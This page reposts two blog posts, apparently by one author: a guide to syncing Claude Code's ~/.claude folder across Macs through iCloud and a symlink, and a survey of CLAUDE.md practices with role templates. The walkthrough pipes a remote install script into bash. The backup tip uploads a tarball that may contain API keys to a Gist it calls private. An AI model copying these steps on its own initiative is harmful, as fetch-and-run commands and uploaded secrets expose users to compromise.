DEV Community: Leo Kane

Keep Claude Code Synced Across Macs — Without Scripts

Leo Kane — Wed, 26 Aug 2026 07:51:14 +0000

Originally published on AI Workflow Pro

Keep Claude Code Synced Across Macs — Without Scripts

Syncthing, a Git repo with cron, or iCloud Drive plus one symlink - I ran all three across six months. Only one avoided becoming a part-time sysadmin job. Honest comparison, exact commands for the winner, a Gist backup plan, and when heavier workflow automation software is right.

Copy

There are three ways to keep Claude Code synced across multiple Macs. Only one of them is worth your Saturday.

Approach A (what every blog recommends): Syncthing. A peer-to-peer file sync daemon, four-way mesh, 30-line .stignore file, folder-ID tokens, send-only vs send-receive modes. Technically correct. Also: a part-time sysadmin job.

Approach B (what engineer friends swear by): A private Git repo, symlinks from ~/.claude/ into the repo, a nightly cron at 1 AM, pull-on-login. Elegant, versioned. Also: forgettable, cron-fragile, merge-conflict prone.

Approach C (what actually works for a non-DevOps human): iCloud Drive plus one symlink. Ten minutes. Zero daemons. Zero cron. Apple handles the sync.

Every time I buy a new Mac, I used to hit the same 20 minutes of Claude Code sync frustration: I'd open Terminal, type claude, and the tool would look at me like we'd never met. My CLAUDE.md: gone. My 5 Skills: gone. My 5 MCP configurations: gone. The ~/.claude/ folder empty except for whatever ships by default.

I tried Approach A for a month. I tried Approach B for two weeks. Approach C is what I've run for the last six months. Below is the honest comparison, with the exact commands for the winner.

If you have 4+ machines spread across macOS, Linux, and Windows, or you have regulated data that can't touch a cloud drive — skip to the end, Syncthing is actually right for you. For everyone else, read on.

The advice you find is usually written by somebody with a different problem than yours. Ask how to keep configuration in step across machines and you get a peer-to-peer sync daemon, folder tokens, and a thirty-line ignore file: correct, and also a part-time sysadmin job for a two-person consultancy that just wants the same setup on the office iMac and the laptop that goes to client sites. Choosing workflow automation software hits this failure mode constantly - the recommended setup assumes staff you do not have. This article compares three approaches honestly and picks the ten-minute one.

Why Claude Code Sync Is Hard in the First Place

Claude Code stores everything it knows about you in ~/.claude/ on your home directory. That includes:

CLAUDE.md — your user-level rules
settings.json — your config
skills/ — your custom Skills
projects/ — per-project memory (Auto Memory)
.mcp.json — your MCP server configs

Plus, every project you work on has a ./CLAUDE.md and maybe ./.claude/ of its own — but those live with the project, usually in Git. The pain isn't project-level stuff. The pain is user-level ~/.claude/, which isn't in any repo and doesn't move with your code.

The Three Claude Code Sync Approaches I Tried

Approach 1 — Syncthing (The Power-User Default)

Syncthing
is a peer-to-peer file sync daemon. It runs continuously on each machine, connects them in a mesh, and replicates folders in real time. It's free, open source, and the technically correct answer for many people.

I spent a Saturday setting it up across three Macs. Four-way mesh, .stignore rules to skip logs and runtime state, encrypted config, pinning down which folders sync. It worked. It also:

Required me to install and remember a daemon on every machine
Needed a .stignore file with ~30 exclusion rules I had to maintain
Would sometimes re-sync during a Claude Code session and cause weird state issues
Demanded I understand folder-ID tokens, device-ID tokens, and the difference between "send-only" and "send-receive" modes

I'm not a sysadmin. Every time I hit a weird state, I spent 20 minutes debugging a tool that was supposed to save me 20 minutes. I gave it a month, then uninstalled it.

If you're curious, my full 30-line Syncthing config is in the original technical guide for this post in the AWP content archive. But you probably don't need it. Keep reading.

Approach 2 — Git + Cron (The Engineer-Friend Special)

My friend Sam runs a private GitHub repo named ~/dotfiles-claude/. He symlinks ~/.claude/ into the repo, has a cron job that commits nightly at 1 AM, and pulls on login. It's elegant, versioned, and if he loses a laptop he's fine.

I tried this for two weeks. I then discovered:

I'd forget to commit before traveling
Cron sometimes didn't fire because my laptop was sleeping at 1 AM
Merge conflicts were a thing when I edited CLAUDE.md on two machines in the same day
I don't actually want every Skills edit in Git history

If you're comfortable with Git and you treat your dotfiles like code, this is fine. For me, it was still too much ceremony.

Approach 3 — iCloud Drive + One Symlink (The Thing I Actually Use)

This is what works. Ten minutes, zero daemons, no scripts, no cron, and Apple handles the sync.

The whole setup:

# 1. Move ~/.claude to iCloud Drive (once, on your primary Mac)
mv ~/.claude ~/Library/Mobile\ Documents/com~apple~CloudDocs/ClaudeCode/

# 2. Create a symlink from the original location back to iCloud
ln -s ~/Library/Mobile\ Documents/com~apple~CloudDocs/ClaudeCode ~/.claude

# 3. On your second Mac, just make the symlink (iCloud handles the file sync)
# Wait for iCloud to show ClaudeCode/ in your iCloud Drive folder first, then:
ln -s ~/Library/Mobile\ Documents/com~apple~CloudDocs/ClaudeCode ~/.claude

That's the whole thing. Three commands. No daemon. No cron. Your ~/.claude/ now lives in iCloud; both Macs see the same folder; any change you make on one shows up on the other within seconds.

Wait, Can You Really Symlink Into iCloud?

Yes, with one caveat: the symlink goes into iCloud, not the other way around. iCloud doesn't sync symlinks themselves; you put the real folder in iCloud and symlink to it from your home directory. That's what the commands above do.

What Actually Syncs?

Everything in ~/.claude/:

✅ CLAUDE.md — user-level rules
✅ settings.json — config
✅ skills/ — all your Skills
✅ .mcp.json — MCP server configs

And what gets synced but shouldn't cause problems:

projects/ — per-project Auto Memory. This actually benefits from syncing; Claude remembers your project on any machine you open it from
Logs and runtime state — these are small and re-create themselves; no harm done

Gotchas I Hit (and How to Avoid Them)

Gotcha 1 — Initial sync takes longer than you think. If your ~/.claude/ has a year of Auto Memory and Skills, the first upload to iCloud can take 10-30 minutes. Don't start the second-Mac setup until iCloud reports the ClaudeCode/ folder as fully uploaded.

Gotcha 2 — Two sessions at once is a bad idea. If you have Claude Code running on both Macs simultaneously and both edit the same file, iCloud resolves the conflict but you might lose 30 seconds of edits. In practice I'm rarely on two Macs at the same moment, so this is a non-issue. If you are, pause one session before switching.

Gotcha 3 — iCloud sometimes needs a nudge. If you don't see a change show up after 60 seconds, open the iCloud menu bar icon and make sure your sync is active. I've had to sign out and back in maybe twice in six months.

Gotcha 4 — If you use Time Machine, make sure ~/.claude/ isn't excluded from backups. Time Machine exclusion lists inherit weirdly with symlinks. Double-check.

The "Day One on a New Mac" Walkthrough

Imagine you just bought a new MacBook. Here's the 10-minute setup to get your Claude Code identity onto it:

Sign into iCloud (usually already done)
Install Claude Code — curl -fsSL https://claude.ai/install.sh | bash
Open Finder → iCloud Drive → confirm you see the ClaudeCode/ folder
Open Terminal, run: ln -s ~/Library/Mobile\ Documents/com~apple~CloudDocs/ClaudeCode ~/.claude
Run claude in any project directory. Your CLAUDE.md, Skills, MCP configs — all there.

Ten minutes, most of which is iCloud catching up on the sync. Done.

The Claude Code Backup Plan: GitHub Gist

Here's a second layer I add on top of iCloud, because I don't fully trust any single sync mechanism with a year of my work.

Every few weeks, I tar up ~/.claude/ and throw it into a private GitHub Gist
. Takes 30 seconds:

tar -czf claude-backup-$(date +%Y%m%d).tar.gz ~/.claude/
# Upload the .tar.gz file to a private Gist on gist.github.com

If iCloud ever corrupts a file or I accidentally delete something I shouldn't have, I have a restore point. The Gist is private, so no one else can see it, and GitHub hosts it free.

This isn't a replacement for iCloud — iCloud is your live sync. The Gist is your emergency parachute. Both together is belt-and-suspenders, but the Gist takes 30 seconds every month, so the cost is minimal.

When You'd Actually Want Syncthing Instead

I'm not saying Syncthing is bad. I'm saying it's overpowered for the common case. Use Syncthing if:

You have more than 3 machines (iCloud works fine for 2-3; gets less reliable above that)
You have non-Apple devices (Linux laptop, Windows work machine)
You have strict no-cloud-sync requirements (regulated industry, sensitive client data)
You have 100% on-LAN workflow and don't want anything to touch the open internet

For the 80% of AWP readers who have 1-2 Macs and don't work with state secrets, iCloud is genuinely enough.

What I Wish I'd Known on Day One

Three things that would've saved me that wasted Saturday on Syncthing:

The simplest method that works is almost always the right one. I spent 6 hours learning Syncthing because the first blog post I found assumed I should. I should have asked "what's the minimum thing that would solve this?" first.
Sync and backup are different jobs. iCloud syncs. Gist backs up. Don't conflate them. The engineer-friend Git approach was trying to do both at once, which is why it felt heavy.
Symlinks are a superpower. One ln -s command makes the whole OS think a folder lives somewhere it doesn't. This is the actual trick that makes iCloud work for this use case — no daemon, no script, just a pointer.

Key Takeaways

iCloud Drive + one symlink syncs Claude Code across Macs in 10 minutes — no Syncthing, no cron, no scripts. Three commands total
Sync ~/.claude/ at the user level, not the project — project CLAUDE.md lives in Git; user-level is what you lose on a new Mac
The simplest method that works is the right one — I wasted a Saturday learning Syncthing for a problem iCloud solves in 10 minutes
Separate sync from backup — iCloud is live sync; a monthly tar'd Gist is your emergency parachute. Don't conflate them
Symlinks are the actual trick — ln -s makes the OS think a folder lives somewhere it doesn't, letting iCloud handle the real sync underneath
Use Syncthing only if — 4+ machines, non-Apple devices, regulated data with no-cloud rules, or 100% on-LAN workflow

Ready-to-Use Prompt: Pick and Set Up a Claude Code Sync Across Macs

What this does: Decides between the three sync approaches (Syncthing / Git+symlink+cron / iCloud+symlink), gives the day-one commands for the winner, audits the MCP-config gotcha, and sets a GitHub Gist backup plus the trigger to switch approaches — zero daemons for the common case.

Based on: Keep Claude Code Synced Across Macs — Without Scripts — https://aiworkflowpro.com/keep-claude-code-synced/

Time to run: ~4 minutes

Copy this prompt into Claude Code, ChatGPT, or any AI assistant:

ROLE: You are a Claude Code Sync Planner. Your job: pick the right sync approach for a multi-Mac setup, run the day-one commands, and keep it backed up — without turning the user into a part-time sysadmin.

CONTEXT — 3-APPROACH SYNC METHOD:
Keeping Claude Code synced across Macs is hard because `~/.claude/` holds your CLAUDE.md, Skills, and MCP configs locally — buy a new Mac and it greets you like a stranger. Three approaches exist, only one worth a Saturday: (A) Syncthing — a peer-to-peer mesh daemon with `.stignore` and folder tokens; technically correct but a part-time sysadmin job; (B) private Git repo with symlinks and a cron pull — elegant and versioned but forgettable, cron-fragile, merge-conflict prone; (C) iCloud Drive plus one symlink — ten minutes, zero daemons, zero cron, Apple handles the sync. For most people C wins. Syncthing earns its complexity only at 4+ machines or cross-platform needs. Back up to a GitHub Gist regardless, and treat MCP configs as their own gotcha — their format doesn't always survive a blind copy.

INPUTS (fill in before running):
- MACHINE_COUNT: [How many Macs — 2-3 / 4+]
- OPERATING_ENV: [All personal Macs / mix with work / cross-platform incl. non-Mac]
- DEVOPS_TOLERANCE: [wants zero daemons / fine with Git+cron / fine with Syncthing mesh]
- CONTENT_SIZE: [How big ~/.claude is — small / large]

METHOD — 4 STEPS:

Step 1 — Pick the Sync Approach
From MACHINE_COUNT, OPERATING_ENV, and DEVOPS_TOLERANCE: default to C (iCloud + symlink) for 2–3 personal Macs with low DevOps tolerance. Pick Syncthing (A) only at 4+ machines or cross-platform; pick Git+symlink+cron (B) only if versioning outweighs reliability. State the choice and one line why.

Step 2 — Set Up the Winner (Day-One Walkthrough)
For the chosen approach, give the exact day-one commands. For C: move `~/.claude/` into iCloud Drive and replace it with a symlink so Apple syncs it with no daemon. Confirm the symlink resolves and Claude Code reads it on a fresh terminal.

Step 3 — Handle MCP Configs (The Gotcha)
Treat MCP configs separately — their format can break under a blind sync (paths, tokens, machine-specific entries). Audit after sync and fix machine-specific values rather than copying wholesale.

Step 4 — Gist Backup + Switch Trigger
Back up the synced `~/.claude/` (CLAUDE.md, Skills, MCP) to a GitHub Gist as the recovery source. Name the single trigger that means switching approaches — e.g. hitting 4+ machines or adding a non-Mac device moves you from C to Syncthing.

RULES:
- Never recommend Syncthing or Git+cron for a simple 2–3 personal-Mac case — iCloud + symlink is the zero-daemon winner.
- Never blind-copy MCP configs — audit machine-specific paths and tokens after sync.
- Never run without a backup — a GitHub Gist is the recovery source if sync corrupts `~/.claude/`.

OUTPUT FORMAT:
Output a markdown report with:
1. Approach Decision — A/B/C + one-line why
2. Day-One Walkthrough — the exact commands for the chosen approach + verify step
3. MCP Gotcha Audit — markdown table, columns: Config | Machine-Specific? | Fix
4. Backup + Switch Trigger — the Gist plan + the condition that changes the approach

Save as @templates/keep-claude-code-synced.md and run when adding a Mac, or when ~/.claude/ keeps resetting on a new machine.

FAQ

Does this work on iPad?

Claude Code doesn't run on iPad yet, so the sync question doesn't apply there. Claude.ai in Safari does, and Chat Memory handles its own sync across devices separately.

What if I don't have iCloud+ (the paid tier)?

The free 5GB iCloud tier is almost always enough for ~/.claude/. Mine is about 240MB including a year of Auto Memory and 5 Skills with large embedded docs. You'd have to be heavy on the projects/ Auto Memory for this to cross 5GB.

What if I want to share Skills across coworkers, not just my own Macs?

Then you want a shared Git repo, not iCloud. Put each shared Skill in a repo everyone clones into .claude/skills/{skill-name}/. Keep personal Skills in iCloud (or ~/.claude/skills/ outside the repo). Two-layer split.

Is iCloud safe for sensitive prompts?

iCloud encrypts data in transit and at rest. Apple has access to decrypt unless you've enabled Advanced Data Protection, in which case they don't. For most solopreneur content work, iCloud's default is fine. If you're working with client PII or regulated data, use a local-only approach instead.

Why not Dropbox / Google Drive?

They work for the same use case. iCloud is my recommendation because it ships with every Mac — zero additional install. Dropbox or Drive is functionally equivalent; swap ~/Library/Mobile Documents/... for ~/Dropbox/ClaudeCode in the command and the rest is identical.

Can I sync between Mac and my personal server?

Yes — that's a Syncthing-style use case and one where Syncthing actually earns its complexity. But if you're asking this question, the iCloud method probably isn't what you came for; start with Syncthing.

A Note on MCP Configs Specifically

One edge case worth calling out, because it's tripped up a few readers: your .mcp.json file can contain API keys and tokens for services like Brave Search, GitHub, or Linear. Those live in iCloud the same way everything else does, which means if you're concerned about your iCloud account being compromised, move those specific keys to a password manager and reference them via shell-env variables instead.

For the 95% of solopreneurs not at that threat model, having your MCP keys synced across Macs is a feature, not a bug — it's why your second Mac is usable in 10 minutes instead of an hour of re-authenticating. My real working set of 5 MCP servers
includes one (Brave Search) that needs a key, and I keep it in iCloud without losing sleep.

Where This Sits in the Real Workflow

Sync is boring infrastructure — which is why it deserves the boring solution. But the thing you're syncing matters a lot:

The CLAUDE.md file is where your project rules and voice live. Worth the 67-line audit I walk through in my three-rewrite post .
The Skills are your on-demand actions. 5 that earn their keep is plenty; 3 more I deleted for specific reasons.
The MCP config is your plugin stack. 5 MCPs do the work of 12 in my daily flow.
The cost and workflow picture after 6 months — exact dollars, session counts, the month I tried Max and downgraded — is in my 6-month retrospective .

Set up sync once. Spend the rest of your time on the things you're syncing.

What's Next

This is a Tools-category post. For the more architectural side — what should live in ~/.claude/ in the first place — read my actual 67-line CLAUDE.md and the rewrites that got me there
. For what goes into .claude/skills/, see the five Skills that earn their keep
. And for the honest cost and habit picture after running this setup for six months, the full retrospective with the actual bill
. If you also run OpenCode or Codex alongside Claude Code, the backup tool that covers all three
closes the remaining gap this sync setup leaves open.

— Leo

Published in: Technology
, AI Infrastructure
, Beginner
, Claude Code

Author

Download more icon variants from https://tabler-icons.io/i/brand-youtube

I take real work from real industries and rebuild it with AI agents — the setup, the failures, the numbers.

View articles

CLAUDE.md Best Practices: Karpathy's 4 Principles + 6 Ready-to-Use Templates

Leo Kane — Wed, 26 Aug 2026 07:51:13 +0000

Originally published on AI Workflow Pro

CLAUDE.md Best Practices: Karpathy''s 4 Principles + 6 Ready-to-Use Templates (2026)

Empty or stuffed with boilerplate - both end the same way. Weeks spent auditing real files on GitHub, from 185K-star behavioural principles to a maintainer's commit rules. Four-layer scope, five teardowns, six templates by role, and an anti-pattern audit for business process automation.

Copy

Borrowed procedure documents fail in a predictable way: half the lines were written for somebody else's constraints, so people stop trusting any of it. A boutique law practice that copies a large firm's intake checklist gets six steps referencing departments it does not have, and within a month the checklist is decoration. Rule files for business process automation go the same way - most people either leave the file empty or paste in boilerplate they cannot defend line by line. This article takes apart five real files in public use, then hands over six templates sorted by role so you start from one that matches your actual work.

Your CLAUDE.md is either empty or stuffed with /init boilerplate. Both produce the same result: Claude Code forgets your preferences the moment a new session starts.

I spent weeks auditing real CLAUDE.md files across GitHub — from Karpathy's 185K-star behavioral principles to Anthropic's own internal config to Dan Abramov's commit message constraints. The pattern became obvious: most people either write too much (and Claude ignores half of it) or write things Claude already knows from reading the codebase.

This guide does two things. First, I break down what actually works in five high-profile CLAUDE.md files and why. Then I hand you six complete templates — frontend dev, backend dev, solo founder, content creator, data analyst, and student — so you can copy the one that fits and start shipping.

What you get:

The four-layer scope system and how Claude actually loads your config
Five real-world CLAUDE.md teardowns with full analysis
Six ready-to-use templates organized by role
The router pattern for projects that outgrow a single file
An anti-pattern checklist to audit your existing setup

Why Does CLAUDE.md Matter More Than Any Other Config?

Claude Code starts every session with a blank slate. The architecture discussion from yesterday, the code style you corrected for an hour, the deployment gotcha only you know about — all gone.

CLAUDE.md is the only file that loads automatically into every session. Each rule you write works for you even when you say nothing.

HumanLayer founder Kyle put it well — a single bad line in CLAUDE.md cascades like dominoes:

One wrong instruction
    -> Every research step follows the wrong lead
        -> Plans built on bad research drift further
            -> Code written from drifted plans breaks in production

The reverse holds too. One correct line saves time across every session and every task.

Think of CLAUDE.md as the onboarding doc you write for a new teammate. Write it well, and they ramp up fast with fewer mistakes. Write it too long or too vague, and they skip it entirely — worse than having no doc at all.

How Does Claude Code Actually Load Your CLAUDE.md?

Before you write anything, understand the mechanics. Everything below comes directly from Anthropic's official documentation
.

What Are the Four Scope Layers?

Most people think CLAUDE.md is a single file at the project root. It is actually a layered system. Claude Code loads four layers at startup, in order:

Layer	Location	Who uses it
Managed policy	`/Library/Application Support/ClaudeCode/CLAUDE.md` (macOS)	Entire organization
User instructions	`~/.claude/CLAUDE.md`	You personally, across all projects
Project instructions	`./CLAUDE.md` or `./.claude/CLAUDE.md`	Team-shared, committed to Git
Local instructions	`./CLAUDE.local.md`	You personally, current project only, not in Git

All four layers stack — later layers do not override earlier ones. Subdirectory CLAUDE.md files are smarter: they load only when Claude reads files from that directory.

Why Does Claude Sometimes Ignore Your Rules?

CLAUDE.md is not a hard command. It is injected as a "user message" into the conversation. When injected, Claude Code attaches a system reminder that says roughly:

"This context may or may not be relevant to your current task. Only reference it when actually relevant."

Claude decides which rules apply. The longer your file and the more irrelevant content it contains, the higher the probability that useful rules get skipped.

I hit this myself running a multi-project knowledge base with Claude Code. My CLAUDE.md grew past 400 lines and Claude started ignoring database conventions while editing frontend components. The fix: split domain-specific rules into .claude/rules/ with paths: constraints so they only load when Claude touches matching files.

Common trap: You write an entire database design spec in CLAUDE.md. Claude edits a React component and skips all of it. Not a bug — Claude judged those rules irrelevant to the current task. Solution: put module-specific rules in .claude/rules/ with paths: fields to scope them.

What Should You Include (and Exclude)?

Anthropic's best practices doc
gives a practical checklist:

Include:

Build commands Claude cannot guess from code (e.g., pnpm test:e2e --filter=@app/web)
Code style deviations from conventions (e.g., your team bans default exports)
Test runner and framework details
Branch naming conventions and PR habits
Why you made an architecture decision (not just "use X" but "use X because Y")
Dev environment quirks (e.g., must source a specific env file first)
Counter-intuitive gotchas

Exclude:

Things Claude can infer from code — you have tsconfig.json, so "this project uses TypeScript" adds zero value
Standard language conventions — Python uses snake_case by default
Large API docs — link to them, do not paste them in
Frequently changing info — you will forget to sync CLAUDE.md and create stale instructions
File-by-file code descriptions — Claude reads directory structure on its own
"Please write high-quality code" — this instruction is unverifiable and changes nothing

If a rule matters enough, prefix it with IMPORTANT or YOU MUST to add weight. But do not overuse emphasis — when every rule screams IMPORTANT, none of them are.

What Do the Best CLAUDE.md Files Actually Contain?

Five real-world configs, fully analyzed. Every file comes from a public repository.

Case 1: Karpathy's Four Principles (185K Stars)

Andrej Karpathy — former Tesla AI director, OpenAI co-founder. His behavioral principles, collected in this GitHub repository
, earned over 185,000 stars, making it the most widely shared single CLAUDE.md file. It contains zero project information. The entire file does one thing: constrain how the AI thinks.

The four principles distilled:

Think before you code — State assumptions. List multiple interpretations. Propose simpler alternatives. Stop and ask when something is unclear.
Simplicity first — Solve with minimum code. No features nobody asked for. No abstractions for one-time code. No "flexibility" or "configurability" nobody requested. If 200 lines can become 50, rewrite. Gut check: would a senior engineer look at this and think it is over-engineered?
Surgical changes — Touch only what must change. No drive-by refactors. No formatting fixes on adjacent code. Match existing style. Clean up orphaned references your change created, but leave pre-existing dead code alone. Every diff line must trace back to the user's request.
Goal-driven execution — Convert tasks into verifiable goals ("add validation" becomes "write test, then make it pass"). Multi-step tasks get a plan with verification at each step.

These four principles belong in your global ~/.claude/CLAUDE.md so they apply to every project automatically.

Case 2: Anthropic's Own claude-code-action (42 Lines)

Anthropic's claude-code-action
CLAUDE.md is what their own team uses in production. The most valuable section is "Gotchas" — six traps that come from actual development experience:

Strict TypeScript enables noUnusedLocals and noUnusedParameters — unused variables break the build
GitHubContext is a discriminated union type — you must narrow with isEntityContext() before property access
Token revocation lives in action.yml's always() step — moving it to run.ts means it never executes on process crash
The catch block in run.ts uses prepareCompleted to distinguish preparation-phase from execution-phase failures
action.yml outputs reference Step IDs (steps.run.outputs.*) — changing a Step ID without updating references breaks the pipeline
Integration tests live in a separate repo — this repo only has unit tests

Notice: every single gotcha describes something that actually went wrong. These are not hypothetical rules invented in advance.

Case 3: Dan Abramov's overreacted.io (52 Lines)

React core developer Dan Abramov wrote a CLAUDE.md for his personal blog overreacted.io
. The standout feature is commit message constraints with explicit positive and negative examples:

Wrong: "Refactor component for improved maintainability"
Right: "Extract date formatting to lib/formatDate.ts"

He does not just tell Claude how to write code. He tells Claude how to communicate about code — down to filename-level specificity.

Case 4: Vercel's next-devtools-mcp (118 Lines)

Vercel's next-devtools-mcp
represents enterprise engineering standards. The core strategy: freeze the most common operations into standard step sequences.

Adding a new tool, adding a new resource, adding a new prompt — each operation has deterministic steps. Claude never guesses which files to modify:

Create file in src/tools/ (export inputSchema/metadata/handler)
Register in src/index.ts tools array
Build and test

This removes the entire class of errors where Claude changes the right code in the wrong file.

Case 5: Karpathy's llm-council (133 Lines)

Karpathy's own project llm-council
has a detailed project-level CLAUDE.md — completely different from his four principles. It describes every backend file's key functions, the three-stage pipeline architecture, anonymization strategy for peer review, and four common traps.

The takeaway: the four principles handle thinking habits (global), while llm-council's CLAUDE.md handles project-specific context (project-level). Karpathy uses both.

What Two Patterns Emerge?

Dimension	Behavioral constraints	Project context
Examples	Karpathy's four principles	Anthropic / Vercel / Dan Abramov
Location	`~/.claude/CLAUDE.md` (global)	`./CLAUDE.md` (project-level)
Content	Thinking habits, simplicity, change discipline	Architecture, commands, gotchas, conventions
Length	30-65 lines	55-130 lines

Use both. They complement each other.

What Can We Learn From Other Community CLAUDE.md Files?

The English-language cases above are well known. But developers across the broader community have produced equally instructive configs.

overtrue — The Safety-First Approach

The author of EasyWeChat, a major Laravel developer, published a CLAUDE.md
with six sections, each solving a specific class of problem:

Hard prohibitions: No git reset/revert/rebase/restore. No rm -rf. Every git operation requires user permission first.
Core beliefs: Incremental progress over big-bang rewrites. Study existing patterns before implementing. Pragmatic over dogmatic.
Implementation flow: Understand → Test (red) → Implement (green) → Refactor → Verify → Update TODO → Commit. After 3 failed attempts, stop and explain.
Compiler error handling: Never delete code to bypass compiler errors. Correct path: error → understand root cause → research fix → apply.

Every rule maps to a concrete problem that actually happened. "Never delete code to bypass compiler errors" exists because Claude literally did that.

Consensus From the Developer Community

Several high-engagement posts converge on the same insights:

"Start with an empty file." Developer Chen Cheng (610 likes on X) advises: do not start with a template. Start blank. Every time you repeat a correction to Claude, write it into CLAUDE.md. The file you build this way has zero wasted lines.

"400 lines to 150. Everything improved." Axel Bitblaze (1,900 likes) used Claude Code for two months straight. His CLAUDE.md ballooned to 400 lines and Claude started randomly ignoring rules. He cut it to 150 lines and compliance jumped back up.

"Apple ships CLAUDE.md internally." In 2026, Apple accidentally shipped internal CLAUDE.md files in a Support App update (13,500 likes on X), confirming their teams use Claude Code for app development. Apple pushed an emergency patch to remove the files.

Four Anti-Patterns Worth Memorizing

From a 2,100-star best practices doc:

Do not front-load restrictions. Add rules one by one as Claude makes actual mistakes.
Do not blindly @ reference files. Every @-referenced file loads into context every session. Write when to read the file and what to get from it.
Do not say only "never do X" — give the alternative. "Never use Redux" leaves Claude guessing. "Never use Redux; use Zustand" resolves the ambiguity.
If your CLAUDE.md needs half a page to explain a CLI tool, the tool needs simplification. Write a bash wrapper instead of a manual in CLAUDE.md.

What Patterns Make a CLAUDE.md Actually Work?

After studying dozens of real configs, four patterns hold:

Effective CLAUDE.md files are short. React.dev: 42 lines. Karpathy: 65 lines. Anthropic: 42 lines. overtrue: under 100 lines. None exceeded 200 lines.

Effective CLAUDE.md files grow from real mistakes. Boris Cherny (Claude Code core author) runs the simplest process: every time Claude makes an error, someone writes "don't do that" into CLAUDE.md. He calls this compound interest engineering — the file improves over time, and Claude's error rate drops continuously.

Effective CLAUDE.md files use two layers. Global for thinking style (Karpathy's four principles). Project-level for concrete context (commands, architecture, gotchas). Two layers, zero overlap.

Effective CLAUDE.md files waste no words. They skip what Claude can infer from code, skip standard conventions, skip "please write quality code." The test for every line: if I delete this, will Claude actually make a worse mistake? If not, delete it.

How Should You Structure a CLAUDE.md for Your Role?

Six templates below. All follow the same structure: identity and context first, working method second, constraints embedded in each rule (not listed separately), and delivery standards last. This ordering mirrors how Claude processes context — role first, then behavior, then specifics.

Frontend Developer Template

# [Project Name]

## Stack
- Next.js 15 App Router + React 19 + TypeScript strict (no Pages Router / any / @ts-ignore)
- Styling: Tailwind CSS v4 (no CSS Modules / styled-components / inline style objects)
- State: Zustand (no Redux)
- Package manager: pnpm (no npm / yarn)

## Commands
- `pnpm dev` — development server
- `pnpm build` — production build
- `pnpm test` — run tests
- `pnpm typecheck && pnpm lint` — must pass before every commit

## Code Conventions
- Functional components + hooks only. Max 200 lines per file
- Props interfaces: named `{ComponentName}Props`, always exported
- Named exports everywhere (exception: page.tsx / layout.tsx)
- Commit messages: state what changed and why. Never write "refactor for better maintainability"

## Gotchas
- `src/lib/auth.ts` session logic looks simplifiable — do not touch it. It handles three edge cases; removing any one breaks production auth
- Database migration files are immutable once committed — create a new migration instead

Backend Developer Template

# [Project Name]

## Stack
- Python 3.12 + FastAPI (no Flask / Django)
- Database: PostgreSQL + SQLAlchemy async (no sync sessions)
- Package manager: uv (no pip / poetry / conda)
- Type hints: mandatory on all function signatures (params + return)

## Commands
- `uv run uvicorn app.main:app --reload` — dev server
- `uv run pytest -x -q` — tests (stop on first failure)
- `uv run ruff check . && uv run ruff format --check .` — lint + format check
- `uv run alembic upgrade head` — apply migrations

## Architecture
- `app/` — application code; `app/api/` — route handlers; `app/models/` — SQLAlchemy models; `app/services/` — business logic
- All database queries go through services, never in route handlers directly
- Background tasks use `app/tasks/` with Celery (no inline async background)

## Conventions
- Endpoints return Pydantic response models, never raw dicts
- Errors raise custom exceptions from `app/exceptions.py` — caught by global handler
- Environment config: `app/config.py` reads from `.env` via pydantic-settings (no os.getenv scattered in code)

## Gotchas
- `alembic/versions/` migration files are immutable after merge to main
- The `/health` endpoint bypasses auth middleware intentionally — do not add auth
- Rate limiting on `/api/v1/generate` is set at 10 req/min per user — changing it requires updating both middleware and docs

Solo Developer / One-Person Company Template

# [Business Name]

## Business Overview
- Product A: [name + positioning + stack] (primary revenue)
- Product B: [name] (side project)
- Content channels: Newsletter, blog, social
- Revenue: subscription + one-time purchases
- Product-specific rules live in each product's own CLAUDE.md. This file governs cross-product decisions only.

## Working Principles
- Incremental changes over big rewrites
- Use existing tools — auth/payments/email/storage go through SaaS APIs
- Change one thing at a time. Confirm it works before changing the next
- After 3 failed attempts, stop and explain what is blocking
- State your plan before executing. Wait for confirmation
- Validate before building: minimum viable test of every idea
- Priority: acquisition > retention > monetization

## Safety Boundaries
- `git reset` / `revert` / `rebase` / `rm -rf` — never execute
- Secrets go in environment variables or credential manager. Never hardcode
- Production database: no CLI write operations
- Deleting files or directories: inform and get confirmation first
- Paid operations (sending email, calling paid APIs, deploying to production): confirm first

## Decision Framework (in order)
1. Can I validate this in under 1 hour? If yes, try it now
2. Is it reversible? If yes, move fast
3. How large is the blast radius? If it only affects me, do it
4. Is there a simpler approach? If yes, switch

Content Creator Template

# [Brand Name]

## Identity
- Positioning: [one sentence]
- Audience: [age range + background]
- Tone: professional but not academic, opinionated but not combative
- First person: "I" (never "the author" / "we" / "this article will show you")
- Banned words: synergy, leverage, unlock, game-changer, deep dive, paradigm shift

## Creation Workflow
1. **Topic evaluation** — answer three questions: why would the reader care, what unique angle do I bring, is the timing right
2. **Research** — finish reading before writing, never research mid-draft
3. **Outline** — list H2s first, each H2 answers one specific reader question. No drafting until outline is confirmed
4. **First draft** — prioritize completeness over polish
5. **Self-review** — for each paragraph ask "what would the reader miss if I deleted this?" For each data point ask "what is the source?"
6. **Final draft** — trim, polish, add image placement notes

## Writing Rules
- Conclusion first. Setup never exceeds 3 sentences
- Data and examples over opinions and adjectives
- Technical terms: explain once on first use, then use directly
- One idea per paragraph
- If you can say it in one sentence, do not write a paragraph

## Quality Checklist
- [ ] Readable in a single pass without re-reading
- [ ] Every claim has supporting evidence
- [ ] First three lines make a stranger want to keep reading
- [ ] Image positions are marked
- [ ] Zero banned words

Data Analyst Template

# [Project Name]

## Methodology
- Look at data before choosing methods: run descriptive statistics and distribution plots first, then select the approach
- Normality test (Shapiro-Wilk) is the fork: normal → parametric tests, non-normal → non-parametric
- Multiple comparisons require correction (Bonferroni or FDR)
- Effect sizes and confidence intervals over p-values alone
- One chart, one question

## Data Management
- Raw data: `data/raw/` (read-only, never modified)
- Processed data: `data/processed/`
- Every processing step logged in `data/processing_log.md` (what was done, how many rows affected, missing value strategy + rationale)
- Variable names: snake_case, self-explanatory (`user_age` not `ua`)
- Parameters in `config/` files, never hardcoded
- All paths relative

## Visualization
- Chart type follows data relationship: trend → line, comparison → bar, distribution → histogram/boxplot, relationship → scatter, composition → stacked bar (pie chart only with 5 or fewer categories)
- Visual parameters centralized in `config/plot_style.py`
- Scientific bar charts include error bars (label SD or SEM)
- Every chart needs: title, axis labels with units, legend

## Reporting
- APA format: `M = 3.45, SD = 1.23, t(58) = 2.41, p = .019, d = 0.82`
- State direction: "Group A scored significantly higher than Group B" not "the difference was significant"
- Decimals: 2 places for values, 1 place for percentages, consistent throughout

## Reproducibility
- Every script: header comment with input/output/purpose
- Random seed: 42 everywhere
